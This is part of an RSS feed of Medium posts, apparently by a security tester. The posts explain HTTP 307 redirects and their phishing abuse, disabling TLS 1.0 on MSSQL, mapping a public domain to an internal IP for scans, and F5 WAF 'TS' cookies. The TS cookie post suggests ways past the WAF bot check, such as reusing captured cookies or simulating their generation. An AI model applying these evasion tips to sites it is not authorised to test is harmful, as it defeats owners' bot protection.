            <content:encoded><![CDATA[<p>HTTP 307 belongs to the <strong>3xx redirection class</strong> — it tells the client that the resource has been <em>temporarily moved</em> to another location.</p><blockquote><strong><em>HTTP 307 Temporary Redirect — Temporary Redirection</em></strong></blockquote><h3>What It Actually Means</h3><p>When a server returns a <strong>307 response</strong>, it’s instructing the client to resend the <em>same request</em> to a different URI.<br> Importantly, the client must <strong>keep the original HTTP method and body</strong>.</p><p>For example:</p><pre>HTTP/1.1 307 Temporary Redirect<br>Location: https://secure.example.com/login</pre><p>This means the server wants the /login request to be retried at a different address — without changing from POST to GET, or losing the request body.</p><h3>Comparing 301, 302, 307, and 308</h3><p>Status CodeDescriptionChanges HTTP Method?Permanent?301Permanent redirectMay change to GETYes302Temporary redirect (legacy)May change to GETNo307Temporary redirect (modern)Keeps original methodNo308Permanent redirect (modern)Keeps original methodYes</p><p>In short: <strong>HTTP 307 is the “don’t change method” version of 302</strong>.</p><h3>Common Real-World Uses of 307</h3><h3>1. Enforcing HTTPS Connections</h3><p>Many modern websites use 307 to force clients to switch from HTTP to HTTPS:</p><pre>HTTP/1.1 307 Temporary Redirect<br>Location: https://example.com</pre><p>This approach keeps the user’s original method intact (such as POST forms), avoiding the common 302 problem where requests silently turn into GETs.</p><h3>2. Load Balancers and Reverse Proxies</h3><p>In some enterprises, load balancers or WAFs respond with a 307 during maintenance windows — temporarily redirecting traffic to a backup node:</p><pre>Location: https://backup.example.net/</pre><p>However, users may encounter “too many redirects” errors if the configuration isn’t carefully managed.</p><h3>3. OAuth and SSO Authentication Flows</h3><p>You’ll often see sequences of 302s, 307s, and 308s in SSO or OAuth flows, such as:</p><pre>/login → 307 → /sso/auth  <br>/sso/auth → 307 → /callback</pre><p>These redirects aren’t errors — they’re part of the normal authentication handshake process.</p><h3>4. Phishing and Malicious Redirects</h3><p>Attackers sometimes exploit 307 to <strong>mask redirect chains</strong>.<br> For example, a compromised intermediate host might issue a 307 response leading to a fake login page.</p><p>Because 307 preserves both the HTTP method and body, sensitive parameters like tokens or credentials may be forwarded intact — a technique often seen in phishing campaigns or malicious ad networks.</p><p>Some threat actors even chain 307/308 redirects using Cloudflare Workers to evade URL-based detection systems.</p><h3>Security Implications of HTTP 307</h3><p>Legitimate Use CasePotential RiskHTTPS enforcementLeaks plaintext data if misconfiguredLoad balancingAttackers can spoof redirects to malicious serversOAuth / SSOPoor validation of redirect_uri can cause Open Redirect vulnerabilitiesTemporary maintenanceMay unintentionally expose internal hostnames or IPs</p><h3>Notable Real-World Incidents</h3><h3>Case 1: GitHub Pages HTTPS Redirect Loop</h3><p>Before 2020, GitHub Pages used 307 for HTTP→HTTPS redirection.<br> Some older browsers mishandled the redirect and caused infinite loops, resulting in page load errors.<br> GitHub later switched to 301/302 responses to fix this.</p><h3>Case 2: Google OAuth Redirect Vulnerability (CVE-2020–26882)</h3><p>Researchers found that certain OAuth implementations using 307 responses didn’t properly validate redirect_uri.<br> Attackers could exploit this temporary redirect to leak authorization codes to third-party domains.<br> The flaw wasn’t in 307 itself — but in how it was used.</p><h3>Case 3: Cloudflare Workers Redirect Chains</h3><p>Security researchers observed that malicious actors chained 307 and 308 redirects through Cloudflare Workers to build multi-layered redirect loops.<br> This technique is still used today to conceal phishing URLs behind legitimate-looking domains.</p><h3>Key Takeaways</h3><p>HTTP 307 means <strong>“temporarily redirect — without changing the request method.”</strong><br> It’s frequently used in HTTPS enforcement, load balancing, and OAuth flows.</p><p>While it’s not an error by itself, it’s worth paying attention to in security testing — especially in <strong>phishing analysis</strong>, <strong>Open Redirect detection</strong>, or <strong>misconfigured reverse proxy</strong> scenarios.</p><p>When your vulnerability scanner encounters a 307 response, manually follow the redirect or use a custom host rule to confirm that you’re scanning the intended final destination.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76ab81c91b87" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Disabling TLS 1.0 on Port 1433 (MSSQL) — Fix for Vulnerability ID 104743]]></title>
            <link>https://medium.com/@dd565345421/disabling-tls-1-0-on-port-1433-mssql-fix-for-vulnerability-id-104743-e62e2716a2d5?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/e62e2716a2d5</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Fri, 31 Oct 2025 06:04:48 GMT</pubDate>
            <atom:updated>2025-10-31T06:04:48.157Z</atom:updated>
            <content:encoded><![CDATA[<h3>Disabling TLS 1.0 on Port 1433 (MSSQL) — Fix for Vulnerability ID 104743</h3><p>Recently, one of our clients asked how to disable TLS 1.0 on their Microsoft SQL Server. Since this is a fairly common configuration issue, here’s a quick guide I wrote to help others facing the same problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gw3gT_szKQwJrcqaKoKXBg.png" /></figure><h3>Important Note</h3><p>Before making any changes, <strong>always back up your system and registry</strong>. Incorrect edits could cause system instability or require you to revert settings later.</p><h3>1. Confirm TLS 1.2 Support in SQL Server</h3><p>Before disabling older protocols, verify that your SQL Server and environment support TLS 1.2.</p><h3>Step 1: Check your SQL Server version</h3><p>Run the following command:</p><pre>SELECT @@VERSION;</pre><blockquote><em>SQL Server 2008 and newer versions can support TLS 1.2.<br> For older builds (such as SQL Server 2008 R2 SP2 or earlier), you must install the </em><strong><em>TLS 1.2 support update KB3135244</em></strong><em>.</em></blockquote><h3>Step 2: Check your .NET Framework version</h3><p>Ensure that <strong>.NET Framework 4.6 or higher</strong> is installed. Versions 4.6+ include built-in TLS 1.2 support.</p><h3>2. Disable TLS 1.0 (Server-Side) on Windows</h3><p>There are three ways to do this, depending on your preference.</p><h3>Method 1 — Manually via Registry Editor</h3><ol><li>Press <strong>Win + R</strong>, type:</li></ol><pre>regedit</pre><ol><li>and press <strong>Enter</strong>.</li><li>Navigate to:</li></ol><pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\</pre><ol><li>Create or modify the following registry keys:</li></ol><ul><li><strong>Disable TLS 1.0</strong></li></ul><pre>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server] &quot;Enabled&quot;=dword:00000000 &quot;DisabledByDefault&quot;=dword:00000001</pre><ul><li><strong>Disable TLS 1.1</strong></li></ul><pre>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Server] &quot;Enabled&quot;=dword:00000000 &quot;DisabledByDefault&quot;=dword:00000001</pre><ul><li><strong>Enable TLS 1.2</strong></li></ul><pre>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server] &quot;Enabled&quot;=dword:00000001 &quot;DisabledByDefault&quot;=dword:00000000</pre><blockquote><em>If the </em><strong><em>TLS 1.0</em></strong><em> or </em><strong><em>TLS 1.2</em></strong><em> subkeys do not exist, create them manually along with the required DWORD values.</em></blockquote><h3>Method 2 — Using PowerShell Script</h3><p>Microsoft provides an official script that automates these registry changes.<br> Source: <a href="https://github.com/microsoft/sql-server-samples/blob/master/samples/features/security/tls-1-3/set-reset-tls.ps1">GitHub — SQL Server Samples (Enable/Disable TLS 1.3)</a></p><pre># Learn more at https://learn.microsoft.com/en-us/windows-server/security/tls/tls-registry-settings?tabs=diffie-hellman<br>Set-StrictMode -Version Latest</pre><pre>$base = &#39;HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\&#39;<br>$protocols = [ordered]@{<br>    &quot;SSL 2.0&quot; = $false<br>    &quot;SSL 3.0&quot; = $false<br>    &quot;TLS 1.0&quot; = $false<br>    &quot;TLS 1.1&quot; = $false<br>    &quot;TLS 1.2&quot; = $true<br>    &quot;TLS 1.3&quot; = $true<br>}</pre><pre>foreach ($version in $protocols.Keys) {<br>    $enabledValue = $protocols[$version]<br>    $path = $base + $version + &#39;\Server&#39;</pre><pre>    New-Item $path -Force | Out-Null<br>    New-ItemProperty -Path $path -Name &#39;Enabled&#39; -Value $enabledValue -PropertyType &#39;DWord&#39; -Force | Out-Null</pre><pre>    Write-Host &quot;$version is $enabledValue.&quot;<br>}</pre><h3>Method 3 — Enable Strict Encryption for Each SQL Instance</h3><p>Enable <strong>Force Strict Encryption</strong> within the SQL Server Configuration Manager.<br> Once turned on, the server will only accept connections using strong TLS encryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ar_cyFlqnuVdA11Gf5rM_A.png" /></figure><h3>3. Restart SQL Server and System Services</h3><p>To apply the new TLS settings, restart SQL Server services:</p><pre>net stop mssqlserver<br>net start mssqlserver</pre><p>Alternatively, reboot the system to ensure all changes take effect.</p><h3>4. Verify That TLS 1.0 Is Disabled</h3><p>You can test the result with Nmap:</p><pre>nmap --script ssl-enum-ciphers -p 1433 &lt;server_ip&gt;</pre><p>If TLS 1.0 is successfully disabled, the output should show <strong>only TLSv1.2</strong>.</p><p>You can also test using PowerShell:</p><pre>Test-NetConnection -ComputerName &lt;server_ip&gt; -Port 1433</pre><p>If TLS 1.0 is disabled, older clients that only support TLS 1.0 will fail to connect.<br> So, if someone suddenly complains they “can’t connect anymore,” it’s probably working as intended.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e62e2716a2d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Redirect a Public Domain to an Internal Network]]></title>
            <link>https://medium.com/@dd565345421/how-to-redirect-a-public-domain-to-an-internal-network-f04ac966eb1f?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/f04ac966eb1f</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Fri, 31 Oct 2025 03:06:13 GMT</pubDate>
            <atom:updated>2025-10-31T03:06:13.913Z</atom:updated>
            <content:encoded><![CDATA[<p>Sometimes during penetration testing, vulnerability scanning, or staging validation, a client might ask us to scan their <em>public domain</em> (e.g., https://www.example.com) — but the actual system to be tested is hosted on an <em>internal IP</em>, such as 10.10.10.5.</p><p>In such cases, we need the <strong>scan report to still show the public domain name</strong> (instead of an IP address), while all traffic is actually routed to the internal environment.<br> This post walks through the setup, verification steps, and server-side configuration options.</p><h3>Background</h3><p>Let’s say a client asks me to scan:</p><pre>https://www.example.com</pre><p>But their test system is only reachable internally at:</p><pre>10.10.10.5</pre><p>The public DNS still resolves to the production IP, and I can’t change that externally.<br> However, if I scan directly by IP, the report will show “10.10.10.5” instead of “www.example.com,” which doesn’t meet the client’s requirements.</p><h3>2Redirecting on the Client Side (Scanner / Tester Machine)</h3><h3>Modify the hosts File (Easiest and Most Reliable)</h3><p>This is the simplest way to force your local system to resolve the public domain to the internal IP.</p><h4>On Windows:</h4><ol><li>Open Notepad <strong>as Administrator</strong>.</li><li>Edit the file:</li></ol><ul><li>C:\Windows\System32\drivers\etc\hosts</li></ul><p>Add the following line at the end:</p><ul><li>10.10.10.5 <a href="http://www.example.com/">www.example.com</a></li></ul><p>Save the file, then flush DNS:</p><ul><li>ipconfig /flushdns</li></ul><p>Open your browser and visit:</p><ul><li><a href="https://www.example.com/">https://www.example.com</a></li></ul><h4>On Linux or macOS:</h4><pre>sudo nano /etc/hosts</pre><p>Add:</p><pre>10.10.10.5   www.example.com</pre><p>Then flush DNS cache:</p><pre>sudo systemd-resolve --flush-caches        # Linux<br>sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder  # macOS</pre><p>Now, every application (including scanners) will resolve www.example.com to 10.10.10.5.<br> Your scan reports will display the domain name, even though traffic goes to the internal IP.</p><h3>DNS Override or Custom Host Header (Inside Your Scanner)</h3><p>If you can’t modify the OS hosts file, most web scanners allow domain-to-IP overrides.</p><h4>Example: Acunetix</h4><ul><li>Go to <strong>Target → Advanced → Custom Headers</strong><br> Add:</li><li>Host: <a href="http://www.example.com/">www.example.com</a></li><li>Set your target URL to:</li><li><a href="https://10.10.10.5/">https://10.10.10.5/</a></li></ul><p>This way, all HTTP requests will be sent to 10.10.10.5, but with a Host header of www.example.com.<br> The scan report will still show the domain name.</p><h4>Example: Burp Suite or OWASP ZAP</h4><p>Both tools have a <strong>DNS Override</strong> or <strong>Hostname Resolution</strong> setting:</p><pre>www.example.com → 10.10.10.5</pre><p>The result is identical to modifying your hosts file, but scoped only to that tool.</p><h3>Quick Validation with curl</h3><p>Before scanning, test connectivity and redirects with curl:</p><pre>curl -vk https://10.10.10.5 -H &quot;Host: www.example.com&quot;</pre><p>You can also disable automatic redirects for debugging:</p><pre>curl -vk --max-redirs 0 https://10.10.10.5 -H &quot;Host: www.example.com&quot;</pre><p>This lets you see whether the server correctly responds, or if there’s a redirect/cookie loop.</p><h3>Server-Side Configuration</h3><p>If you also control the web server or internal infrastructure, there are several ways to set up the domain mapping from the server side.</p><h3>Reverse Proxy</h3><p>A reverse proxy (e.g., <strong>Nginx</strong>, <strong>Apache</strong>, or <strong>IIS</strong>) can route traffic from the public domain to an internal IP.</p><h4>Nginx Example:</h4><pre>server {<br>    listen 443 ssl;<br>    server_name www.example.com;<br>ssl_certificate     /etc/ssl/example.crt;<br>    ssl_certificate_key /etc/ssl/example.key;<br>    location / {<br>        proxy_pass https://10.10.10.5;<br>        proxy_set_header Host www.example.com;<br>        proxy_set_header X-Forwarded-For $remote_addr;<br>    }<br>}</pre><p>When users visit https://www.example.com, the reverse proxy securely forwards requests to the internal system 10.10.10.5.</p><h3>Internal DNS Server (AD / Bind / Dnsmasq)</h3><p>If your organization has an internal DNS service, add an internal A record:</p><pre>www.example.com → 10.10.10.5</pre><p>This ensures all internal users or scanners automatically resolve to the internal host.</p><h3>Local Automation (Temporary Testing)</h3><p>For quick staging or QA use, you can automate host mapping in login scripts:</p><pre>echo &quot;10.10.10.5   www.example.com&quot; | sudo tee -a /etc/hosts</pre><p>This is suitable for short-term testing environments — avoid using it in production.</p><p>ProblemLikely CauseFixping works, but HTTPS failsSSL certificate mismatch or redirect loopTest with curl -v to inspect response headersERR_TOO_MANY_REDIRECTSConflicting redirects (www ↔ non-www, HTTP ↔ HTTPS)Clear browser cookies or fix rewrite rules on serverScan report shows IP instead of URLhosts override missing or Host header not setUse domain name + hosts mappingScanner timeoutFirewall or proxy blocking accessAsk client to whitelist your IP temporarily</p><ul><li><strong>On the client side:</strong><br> Use a hosts entry or DNS override to map the external domain to an internal IP while keeping the original URL visible in reports.</li><li><strong>On the server side:</strong><br> Configure a reverse proxy or internal DNS so that the same domain name routes to internal servers for authorized users.</li><li><strong>During testing:</strong><br> Always verify behavior with curl -v to check SSL certificates, redirect headers, and Host header handling.</li></ul><blockquote><em>Redirecting external domains to internal systems is common during security assessments, staging validation, and DR (disaster recovery) testing.<br> The key is to </em><strong><em>keep the Host header consistent</em></strong><em>, ensuring that SSL, rewrite rules, and session cookies all behave as expected.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f04ac966eb1f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding TS Cookies]]></title>
            <link>https://medium.com/@dd565345421/understanding-ts-cookies-19568970319a?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/19568970319a</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Tue, 14 Oct 2025 02:38:51 GMT</pubDate>
            <atom:updated>2025-10-14T02:38:51.428Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently, while I was testing a website, I noticed something interesting: a cookie with a name starting with <strong>“TS…”</strong>. At first, I thought it was some kind of session or login cookie, but after digging deeper, I found out it’s not the same thing at all.</p><h3>What Is a TS Cookie?</h3><p>A <strong>TS Cookie</strong> (usually named something like TSxxxxxxxx) is not a session or authentication cookie used by the backend application. Instead, it’s created and validated <strong>by the WAF</strong>, especially when the target uses <strong>F5 BIG-IP ASM (Advanced WAF)</strong>.</p><p>Its purpose is to check whether a request is coming from a <strong>legitimate browser or a bot</strong> <em>before</em> it reaches the backend server.</p><p>So it’s more like a <strong>browser verification token</strong> than a login credential.</p><h3>TS Cookie vs Session Cookie</h3><p>When I first saw the TS cookie and the login cookie together, I thought maybe both were related to authentication. But they’re not. Here’s how they differ:</p><p>FeatureTS Cookie (WAF)Session/Login Cookie (Backend App)Who sets itF5 / ASM / WAFWeb applicationPurposeBrowser/client verificationUser authenticationLayerBefore reaching backendAfter authenticationJS involvementOften yesUsually noHttpOnlyOften noUsually yes</p><p><strong>Both can exist at the same time</strong>, and removing one won’t replace the other.</p><h3>How TS Cookies Are Generated</h3><p>Here’s the usual flow I’ve encountered:</p><ol><li>You make a request to the website.</li><li>The WAF intercepts it first.</li><li>It injects JavaScript or responds with a Set-Cookie header.</li><li>Your browser executes that JS to generate and return the TS cookie.</li><li>The next requests must include the TS cookie, or you’ll get blocked.</li></ol><p>This happens <strong>before</strong> the request ever reaches the backend.</p><p>That’s why tools like curl, scanning tools, or scripts without JS often get <strong>redirected, blocked, or receive incomplete responses</strong>.</p><h3>What’s Inside a TS Cookie?</h3><p>You can’t just decode it and expect readable data. But from what I’ve seen and read, it often includes:</p><ul><li>Browser fingerprint (headers, user-agent, etc.)</li><li>Timestamps</li><li>Source IP or hashed identifiers</li><li>Anti-replay tokens / nonces</li><li>A signature (like HMAC or encrypted content)</li></ul><p>Since it’s tied to a specific client/browser context, <strong>you can’t simply steal or reuse it</strong> in another environment.</p><h3>When TS Cookies Cause Problems</h3><p>I’ve personally run into these scenarios:</p><p>Automated Scanning (No JS Execution)</p><p>Tools like:</p><ul><li>curl / wget</li><li>Some security scanners</li><li>Python requests</li><li>Burp without a browser integration</li></ul><p>…may fail because they cannot generate or return TS cookies automatically.</p><p><strong>Result:</strong><br> Blocked, redirected, or false positives during scans.</p><p>Possible Approaches:</p><ul><li>Use headless browsers (Puppeteer / Selenium / Playwright)</li><li>Capture a valid cookie from a real browser session and reuse it</li><li>Ask the client/team to disable WAF checks in the testing environment</li><li>Use scripting to simulate the cookie generation process</li></ul><h3>Troubleshooting Tips I’ve Used</h3><p>These methods helped me identify TS cookie issues:</p><ol><li><strong>Compare browser traffic vs script/scan traffic</strong></li><li><strong>Try requesting without TS cookies and observe</strong></li><li><strong>Check for repeated redirects (302) or challenge pages</strong></li><li><strong>See if clearing only session cookies still lets you in</strong></li><li><strong>Test on different machines or IPs to check binding</strong></li></ol><p>Sometimes deleting all cookies except the TS cookie works, and sometimes it’s the opposite — it depends on site configuration.</p><h3>Final Thoughts</h3><p>TS cookies aren’t evil — they’re just one of the methods WAFs use to <strong>prevent bot abuse, replay attacks, or scripted access</strong>. But when you’re doing scanning, penetration tests, or automation, they can be a pain if you don’t know what you’re dealing with.</p><p>If your requests keep getting blocked, redirected, or returning weird responses, <strong>check for TS cookies first</strong>. That’s usually the culprit.</p><p>If needed, you can try:</p><ul><li>Browser automation</li><li>Combining cookies manually</li><li>Testing in staging with relaxed WAF rules</li><li>Asking the security team for a bypass during testing</li></ul><p>Hope this explanation helps the next person who googles “What is TS84568de=… ?”</p><p><a href="https://d0ngd.github.io/2025/10/13/TS%20Cookie/">Chinese</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19568970319a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>